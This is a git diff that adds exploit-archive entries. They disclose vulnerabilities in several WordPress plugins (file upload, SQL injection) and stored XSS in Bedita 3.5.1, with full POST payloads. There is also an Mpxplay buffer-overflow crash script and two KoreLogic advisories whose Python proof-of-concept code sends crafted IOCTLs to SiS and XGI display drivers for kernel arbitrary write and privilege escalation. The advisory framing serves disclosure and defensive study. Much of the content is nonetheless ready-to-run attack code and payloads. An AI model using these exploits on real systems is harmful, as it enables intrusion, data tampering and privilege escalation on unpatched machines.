new file mode 100755
index 000000000..90f0ff193
--- /dev/null
+++ b/platforms/php/webapps/38046.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/56659/info
+
+The Zingiri Web Shop plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.
+
+An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
+
+Zingiri Web Shop 2.5.0 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php?path=[path] 
\ No newline at end of file
diff --git a/platforms/php/webapps/38047.txt b/platforms/php/webapps/38047.txt
new file mode 100755
index 000000000..4fcf6575e
--- /dev/null
+++ b/platforms/php/webapps/38047.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/56660/info
+
+The Webplayer plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
+
+http://www.example.com/wp-content/plugins/webplayer/config.php?id=[SQL] 
\ No newline at end of file
diff --git a/platforms/php/webapps/38048.txt b/platforms/php/webapps/38048.txt
new file mode 100755
index 000000000..d7d061a53
--- /dev/null
+++ b/platforms/php/webapps/38048.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/56661/info
+
+The Plg Novana plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
+
+http://www.example.com/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=[sql] 
\ No newline at end of file
diff --git a/platforms/php/webapps/38050.txt b/platforms/php/webapps/38050.txt
new file mode 100755
index 000000000..c69a13840
--- /dev/null
+++ b/platforms/php/webapps/38050.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/56663/info
+
+The Zarzadzonie Kontem plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.
+
+An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 
+
+http://www.example.com/wp-content/plugins/zarzadzanie_kontem/js/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php 
\ No newline at end of file
diff --git a/platforms/php/webapps/38051.txt b/platforms/php/webapps/38051.txt
new file mode 100755
index 000000000..ae3485480
--- /dev/null
+++ b/platforms/php/webapps/38051.txt
@@ -0,0 +1,98 @@
+########################################################################################
+
+# Title: Bedita 3.5.1 XSS vulnerabilites 
+# Application: Bedita
+# Version: 3.5.1
+# Software Link: http://www.bedita.com/
+# Date: 2015-03-09
+# Author: Sébastien Morin
+# Contact: https://twitter.com/SebMorin1
+# Category: Web Applications
+
+########################################################################################
+
+===================
+Introduction:
+===================
+
+BEdita is an open source web development framework that features a Content Management System (CMS) out-of-the-box.
+BEdita is built upon the PHP development framework CakePHP.
+
+(http://en.wikipedia.org/wiki/BEdita)
+
+########################################################################################
+
+===================
+Report Timeline:
+===================
+
+2015-03-09 Vulnerabilities reported to vendor
+2015-03-10 Vendor reponse
+2015-03-11 Vendor confirmed
+2015-08-31 Vendor releases version 3.6
+2015-08-31 Advisory Release
+
+
+########################################################################################
+
+===================
+Technical details:
+===================
+
+
+Persistent XSS:
+===============
+
+Bedita 3.5.1 contains multiples flaws that allows a persistent remote cross site scripting attack in the "cfg[projectName]", "data[stats_provider_url]" and "data[description]" parameters.
+This could allow malicious users to create a specially crafted POST request that would execute arbitrary
+code in a user's browser in order to gather data from them or to modify the content of the page presented to the user.
+
+
+Exploits Examples:
+
+
+1)cfg[projectName] parameter:
+
+ 	POST http://127.0.0.1/bedita/index.php/admin/saveConfig 
+	Host: 127.0.0.1
+	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+	Accept-Language: en-US,en;q=0.5
+	Accept-Encoding: gzip, deflate
+	Referer: http://127.0.0.1/bedita/index.php/admin/viewConfig
+	Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
+	Connection: keep-alive
+
+	[...]cfg%5BprojectName%5D=<script>alert(12345)</script>[...]
+
+
+2) data[stats_provider_url] parameter:
+
+ 	POST http://127.0.0.1/bedita/index.php/areas/saveArea
+	Host: 127.0.0.1
+	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+	Accept-Language: en-US,en;q=0.5
+	Accept-Encoding: gzip, deflate
+	Referer: http://127.0.0.1/bedita/index.php/areas/saveArea
+	Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
+	Connection: keep-alive
+
+	[...]data%5Bstats_provider_url%5D="><script>alert(12345)</script>[...]
+
+
+3) data[description] parameter:
+
+	POST http://127.0.0.1/bedita/index.php/areas/saveSection
+	Host: 127.0.0.1
+	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+	Accept-Language: en-US,en;q=0.5
+	Accept-Encoding: gzip, deflate
+	Referer: http://127.0.0.1/bedita/index.php/areas/saveSection
+	Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
+	Connection: keep-alive
+
+	[...]data%5Bdescription%5D=&lt;/textarea&gt;<script>alert(123)</script>[...]
+
+########################################################################################
\ No newline at end of file
diff --git a/platforms/windows/dos/38053.txt b/platforms/windows/dos/38053.txt
new file mode 100755
index 000000000..4be489ae2
--- /dev/null
+++ b/platforms/windows/dos/38053.txt
@@ -0,0 +1,21 @@
+********************************************************************************************
+# Exploit Title: Mpxplay Multimedia Commander Stack-based BOF
+# Date: 9/1/2015
+# Exploit Author: Un_N0n
+# Software Link: http://sourceforge.net/p/mpxplay/activity?source=project_activity
+# Version: V2.00a
+# Tested on: Windows 7 x86(32 BIT)
+********************************************************************************************
+
+[Steps to Produce the Crash]:
+1- open 'mpxp_mmc.exe'.
+2- Browser Crash.m3u in audio player.
+~ Software will Crash.
+
+[Code to produce crash.txt]: 
+junk = "A"*66666
+file = open("CRASH.m3u",'w')
+file.write(junk)
+file.close()
+**********************************************************************************************
+
diff --git a/platforms/windows/dos/38054.txt b/platforms/windows/dos/38054.txt
new file mode 100755
index 000000000..a816642e8
--- /dev/null
+++ b/platforms/windows/dos/38054.txt
@@ -0,0 +1,433 @@
+KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege
+Escalation
+
+Title: SiS Windows VGA Display Manager Multiple Privilege Escalation
+Advisory ID: KL-001-2015-003
+Publication Date: 2015.09.01
+Publication URL:
+https://www.korelogic.com/Resources/Advisories/KL-001-2015-003.txt
+
+
+1. Vulnerability Details
+
+     Affected Vendor: Silicon Integrated Systems Corporation
+     Affected Product: Windows VGA Display Manager
+     Affected Version: 6.14.10.3930
+     Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
+     CWE Classification: CWE-123: Write-what-where condition
+     Impact: Arbitrary Code Execution
+     Attack vector: IOCTL
+     CVE-ID: CVE-2015-5465
+
+2. Vulnerability Description
+
+     Vulnerabilities within the srvkp module allows an attacker
+     to inject memory they control into an arbitrary location
+     they define or cause memory corruption. IOCTL request codes
+     0x96002400 and 0x96002404 have been demonstrated to trigger
+     these vulnerabilities. These vulnerabilities can be used
+     to obtain control of code flow in a privileged process and
+     ultimately be used to escalate the privilege of an attacker.
+
+3. Technical Description
+
+     Example against Windows XP:
+
+     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86
+compatible
+     Product: WinNt, suite: TerminalServer SingleUserTS
+     Built by: 2600.xpsp_sp3_qfe.101209-1646
+     Machine Name:
+     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
+
+
+************************************************************************
+*******
+     *
+             *
+     *                        Bugcheck Analysis
+             *
+     *
+             *
+
+************************************************************************
+*******
+
+     Use !analyze -v to get detailed debugging information.
+     BugCheck 50, {ffff0000, 1, 804f3b76, 0}
+     Probably caused by : srvkp.sys ( srvkp+3329 )
+     Followup: MachineOwner
+     ---------
+
+     kd> kn
+     Call stack:  # ChildEBP RetAddr
+     00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b
+     01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7
+     02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc
+     03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92
+     04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3
+     05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5
+     06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
+     07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b
+     08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8
+     09 f6a52c34 804ee129 srvkp+0x3329
+     0a f6a52c44 80574e56 nt!IopfCallDriver+0x31
+     0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70
+     0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7
+     0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
+     0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8
+     0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
+     10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
+     11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
+     12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
+     13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
+     14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
+     15 0021f6c0 1e07bd9c _ctypes+0x54d8
+     16 00000000 00000000 python27!PyObject_Call+0x4c
+
+     Example against Windows 7:
+
+     Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86
+     Copyright (c) Microsoft Corporation. All rights reserved.
+
+
+     Loading Dump File [C:\Windows\MEMORY.DMP]
+     Kernel Summary Dump File: Only kernel address space is available
+
+     Symbol search path is: *** Invalid ***
+
+************************************************************************
+****
+     * Symbol loading may be unreliable without a symbol search path.
+          *
+     * Use .symfix to have the debugger choose a symbol path.
+          *
+     * After setting your symbol path, use .reload to refresh symbol
+locations. *
+
+************************************************************************
+****
+     Executable search path is:
+     *******************************************************************
+**
+     * Symbols can not be loaded because symbol path is not initialized.
+ *
+     *
+ *
+     * The Symbol Path can be set by:
+ *
+     *   using the _NT_SYMBOL_PATH environment variable.
+ *
+     *   using the -y <symbol_path> argument when starting the debugger.
+ *
+     *   using .sympath and .sympath+
+ *
+     *******************************************************************
+**
+     *** ERROR: Symbol file could not be found.  Defaulted to export
+symbols for ntkrpamp.exe -
+     Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatib
+le
+     Product: WinNt, suite: TerminalServer SingleUserTS
+     Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
+     Machine Name:
+     Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850
+     Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00)
+     System Uptime: 0 days 11:46:55.313
+     *******************************************************************
+**
+     * Symbols can not be loaded because symbol path is not initialized.
+ *
+     *
+ *
+     * The Symbol Path can be set by:
+ *
+     *   using the _NT_SYMBOL_PATH environment variable.
+ *
+     *   using the -y <symbol_path> argument when starting the debugger.
+ *
+     *   using .sympath and .sympath+
+ *
+     *******************************************************************
+**
+     *** ERROR: Symbol file could not be found.  Defaulted to export
+symbols for ntkrpamp.exe -
+     Loading Kernel Symbols
+     ...............................................................
+     ................................................................
+     .....................................
+     Loading User Symbols
+     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
+details
+     Loading unloaded module list
+     ..............................
+
+************************************************************************
+*******
+     *
+             *
+     *                        Bugcheck Analysis
+             *
+     *
+             *
+
+************************************************************************
+*******
+
+     Use !analyze -v to get detailed debugging information.
+
+     BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0}
+
+     ***** Kernel symbols are WRONG. Please fix symbols to do analysis.
+     ...
+     ...
+     ...
+
+     Followup: MachineOwner
+     ---------
+
+     kd> .symfix;.reload
+     Loading Kernel Symbols
+     ...............................................................
+     ................................................................
+     .....................................
+     Loading User Symbols
+     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
+details
+     Loading unloaded module list
+     ..............................
+     kd> !analyze -v
+
+************************************************************************
+*******
+     *
+             *
+     *                        Bugcheck Analysis
+             *
+     *
+             *
+
+************************************************************************
+*******
+
+     KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
+     This is a very common bugcheck.  Usually the exception address
+pinpoints
+     the driver/function that caused the problem.  Always note this
+address
+     as well as the link date of the driver/image that contains this
+address.
+     Some common problems are exception code 0x80000003.  This means a
+hard
+     coded breakpoint or assertion was hit, but this system was booted
+     /NODEBUG.  This is not supposed to happen as developers should
+never have
+     hardcoded breakpoints in retail code, but ...
+     If this happens, make sure a debugger gets connected, and the
+     system is booted /DEBUG.  This will let us see why this breakpoint
+is
+     happening.
+     Arguments:
+     Arg1: c0000005, The exception code that was not handled
+     Arg2: ac08f2fa, The address that the exception occurred at
+     Arg3: 93df4a50, Trap Frame
+     Arg4: 00000000
+
+     Debugging Details:
+     ------------------
+
+     *** ERROR: Module load completed but symbols could not be loaded
+for srvkp.sys
+
+     EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at
+0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
+
+     FAULTING_IP:
+     srvkp+32fa
+     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]
+
+     TRAP_FRAME:  93df4a50 -- (.trap 0xffffffff93df4a50)
+     ErrCode = 00000000
+     eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140
+edi=d68fc588
+     eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0         nv up ei pl
+zr na pe nc
+     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000
+efl=00010246
+     srvkp+0x32fa:
+     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]
+ds:0023:00000004=????????
+     Resetting default scope
+
+     DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT
+
+     BUGCHECK_STR:  0x8E
+
+     PROCESS_NAME:  python.exe
+
+     CURRENT_IRQL:  0
+
+     LAST_CONTROL_TRANSFER:  from 82ac708c to 82af0f20
+
+     STACK_TEXT:
+     93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e
+     93df49e0 82a50dd6 93df49fc 00000000 93df4a50
+nt!KiDispatchException+0x1ac
+     93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00
+nt!CommonDispatchException+0x4a
+     93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x1
+92
+     93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63
+     93df4b34 82c40b71 85644140 d68fc588 00000000
+nt!IopSynchronousServiceTail+0x1f8
+     93df4bd0 82c873f4 85644140 869fb048 00000000
+nt!IopXxxControlFile+0x6aa
+     93df4c04 82a501ea 00000088 00000000 00000000
+nt!NtDeviceIoControlFile+0x2a
+     93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x1
+2a
+     WARNING: Frame IP not in any known module. Following frames may
+be wrong.
+     0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4
+
+     STACK_COMMAND:  kb
+
+     FOLLOWUP_IP:
+     srvkp+32fa
+     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]
+
+     SYMBOL_STACK_INDEX:  0
+
+     SYMBOL_NAME:  srvkp+32fa
+
+     FOLLOWUP_NAME:  MachineOwner
+
+     MODULE_NAME: srvkp
+
+     IMAGE_NAME:  srvkp.sys
+
+     DEBUG_FLR_IMAGE_TIMESTAMP:  4cc65532
+
+     FAILURE_BUCKET_ID:  0x8E_srvkp+32fa
+
+     BUCKET_ID:  0x8E_srvkp+32fa
+
+     Followup: MachineOwner
+     ---------
+
+4. Mitigation and Remediation Recommendation
+
+     No response from vendor; no remediation available.
+
+5. Credit
+
+     This vulnerability was discovered by Matt Bergin of KoreLogic
+     Security, Inc.
+
+6. Disclosure Timeline
+
+     2015.05.14 - Initial contact; requested security contact.
+     2015.05.18 - Second contact attempt.
+     2015.05.25 - Third contact attempt.
+     2015.07.02 - KoreLogic requests CVE from Mitre.
+     2015.07.10 - Mitre issues CVE-2015-5465.
+     2015.07.28 - 45 business days have elapsed since KoreLogic last
+                  attempted to contact SiS without a response.
+     2015.09.01 - Public disclosure.
+
+7. Proof of Concept
+
+     # Arbitrary Write (Windows XP)
+     from sys import exit
+     from ctypes import *
+     NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
+     WriteProcessMemory = windll.kernel32.WriteProcessMemory
+     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
+     CreateFileA = windll.kernel32.CreateFileA
+     CloseHandle = windll.kernel32.CloseHandle
+     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
+     OPEN_EXISTING = 3
+     NULL = None
+
+     device = "siskp"
+     code = 0x96002404
+     inlen = 0xe6b6
+     outlen = 0x0
+     inbuf = 0x1
+     outbuf = 0xffff0000
+     inBufMem = "\x90"*inlen
+
+     def main():
+     	try:
+      		handle = CreateFileA("\\\\.\\%s" %
+(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
+      		if (handle == -1):
+      			print "[-] error creating handle"
+      			exit(1)
+      	except Exception as e:
+      		print "[-] error creating handle"
+      		exit(1)
+
+NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x
+1000|0x2000,0x40)
+      	WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))
+
+DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,o
+utbuf,outlen)
+      	CloseHandle(handle)
+      	return False
+
+     if __name__=="__main__":
+     	main()
+
+     and
+
+     # Null Pointer Dereference (Windows XP/7)
+     from sys import exit
+     from ctypes import *
+     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
+     CreateFileA = windll.kernel32.CreateFileA
+     CloseHandle = windll.kernel32.CloseHandle
+     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
+     OPEN_EXISTING = 3
+     NULL = None
+
+     device = "siskp"
+     code = 0x96002400
+
+     def main():
+     	try:
+      		handle = CreateFileA("\\\\.\\%s" %
+(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
+      		if (handle == -1):
+      			print "[-] error creating handle"
+      			exit(1)
+      	except Exception as e:
+      		print "[-] error creating handle"
+      		exit(1)
+
+DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0
+,0x0)
+      	CloseHandle(handle)
+      	return False
+
+     if __name__=="__main__":
+     	main()
+
+The contents of this advisory are copyright(c) 2015
+KoreLogic, Inc. and are licensed under a Creative Commons
+Attribution Share-Alike 4.0 (United States) License:
+http://creativecommons.org/licenses/by-sa/4.0/
+
+KoreLogic, Inc. is a founder-owned and operated company with a
+proven track record of providing security services to entities
+ranging from Fortune 500 to small and mid-sized companies. We
+are a highly skilled team of senior security consultants doing
+by-hand security assessments for the most important networks in
+the U.S. and around the world. We are also developers of various
+tools and resources aimed at helping the security community.
+https://www.korelogic.com/about-korelogic.html
+
+Our public vulnerability disclosure policy is available at:
+https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
+cy.v1.0.txt
diff --git a/platforms/windows/dos/38055.txt b/platforms/windows/dos/38055.txt
new file mode 100755
index 000000000..f1f598555
--- /dev/null
+++ b/platforms/windows/dos/38055.txt
@@ -0,0 +1,160 @@
+KL-001-2015-004 : XGI Windows VGA Display Manager Arbitrary Write
+Privilege Escalation
+
+Title: XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation
+Advisory ID: KL-001-2015-004
+Publication Date: 2015.09.01
+Publication URL:
+https://www.korelogic.com/Resources/Advisories/KL-001-2015-004.txt
+
+
+1. Vulnerability Details
+
+     Affected Vendor: Silicon Integrated Systems Corporation
+     Affected Product: XGI VGA Display Manager
+     Affected Version: 6.14.10.1090
+     Platform: Microsoft Windows XP SP3
+     CWE Classification: CWE-123: Write-what-where condition
+     Impact: Arbitrary Code Execution
+     Attack vector: IOCTL
+     CVE-ID: CVE-2015-5466
+
+2. Vulnerability Description
+
+     A vulnerability within the xrvkp module allows an attacker
+     to inject memory they control into an arbitrary location they
+     define. This vulnerability can be used to overwrite function
+     pointers in HalDispatchTable resulting in an elevation of
+     privilege.
+
+3. Technical Description
+
+     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
+     Product: WinNt, suite: TerminalServer SingleUserTS
+     Built by: 2600.xpsp_sp3_qfe.101209-1646
+     Machine Name:
+     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
+
+
+*******************************************************************************
+     *
+           *
+     *                        Bugcheck Analysis
+           *
+     *
+           *
+
+*******************************************************************************
+
+     Use !analyze -v to get detailed debugging information.
+     BugCheck 50, {ffff0000, 1, 804f3b76, 0}
+     Probably caused by : xrvkp.sys ( xrvkp+6ec )
+     Followup: MachineOwner
+     ---------
+
+     kd> kn
+     Call stack:  # ChildEBP RetAddr
+     00 f63fd9a0 8051cc7f nt!KeBugCheckEx+0x1b
+     01 f63fda00 805405d4 nt!MmAccessFault+0x8e7
+     02 f63fda00 804f3b76 nt!KiTrap0E+0xcc
+     03 f63fdad0 804fdaf1 nt!IopCompleteRequest+0x92
+     04 f63fdb20 806d3c35 nt!KiDeliverApc+0xb3
+     05 f63fdb20 806d3861 hal!HalpApcInterrupt+0xc5
+     06 f63fdba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
+     07 f63fdbc8 804f07e4 nt!KeInsertQueueApc+0x4b
+     08 f63fdbfc f7b136ec nt!IopfCompleteRequest+0x1d8
+     09 f63fdc34 804ee129 xrvkp+0x6ec
+     0a f63fdc44 80574e56 nt!IopfCallDriver+0x31
+     0b f63fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
+     0c f63fdd00 8056e57c nt!IopXxxControlFile+0x5e7
+     0d f63fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
+     0e f63fdd34 7c90e514 nt!KiFastCallEntry+0xf8
+     0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
+     10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
+     11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
+     12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
+     13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
+     14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
+     15 0021f6c0 1e07bd9c _ctypes+0x54d8
+     16 00000000 00000000 python27!PyObject_Call+0x4c
+
+
+4. Mitigation and Remediation Recommendation
+
+     No response from vendor; no remediation available.
+
+5. Credit
+
+     This vulnerability was discovered by Matt Bergin of KoreLogic
+     Security, Inc.
+
+6. Disclosure Timeline
+
+     2015.05.14 - Initial contact; requested security contact.
+     2015.05.18 - Second contact attempt.
+     2015.05.25 - Third contact attempt.
+     2015.07.02 - KoreLogic requests CVE from Mitre.
+     2015.07.10 - Mitre issues CVE-2015-5466.
+     2015.07.28 - 45 business days have elapsed since KoreLogic last
+                  attempted to contact SiS without a response.
+     2015.09.01 - Public disclosure.
+
+7. Proof of Concept
+
+     from sys import exit
+     from ctypes import *
+     NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
+     WriteProcessMemory = windll.kernel32.WriteProcessMemory
+     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
+     CreateFileA = windll.kernel32.CreateFileA
+     CloseHandle = windll.kernel32.CloseHandle
+     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
+     OPEN_EXISTING = 3
+     NULL = None
+
+     device = "xgikp"
+     code = 0x96002404
+     inlen = 0xe6b6
+     outlen = 0x0
+     inbuf = 0x1
+     outbuf = 0xffff0000
+     inBufMem = "\x90"*inlen
+
+     def main():
+     	try:
+      		handle = CreateFileA("\\\\.\\%s" %
+(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
+      		if (handle == -1):
+      			print "[-] error creating handle"
+      			exit(1)
+      	except Exception as e:
+      		print "[-] error creating handle"
+      		exit(1)
+
+NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
+      	WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))
+
+DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen)
+      	CloseHandle(handle)
+      	return False
+
+     if __name__=="__main__":
+     	main()
+
+
+The contents of this advisory are copyright(c) 2015
+KoreLogic, Inc. and are licensed under a Creative Commons
+Attribution Share-Alike 4.0 (United States) License:
+http://creativecommons.org/licenses/by-sa/4.0/
+
+KoreLogic, Inc. is a founder-owned and operated company with a
+proven track record of providing security services to entities
+ranging from Fortune 500 to small and mid-sized companies. We
+are a highly skilled team of senior security consultants doing
+by-hand security assessments for the most important networks in
+the U.S. and around the world. We are also developers of various
+tools and resources aimed at helping the security community.
+https://www.korelogic.com/about-korelogic.html
+
+Our public vulnerability disclosure policy is available at:
+https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt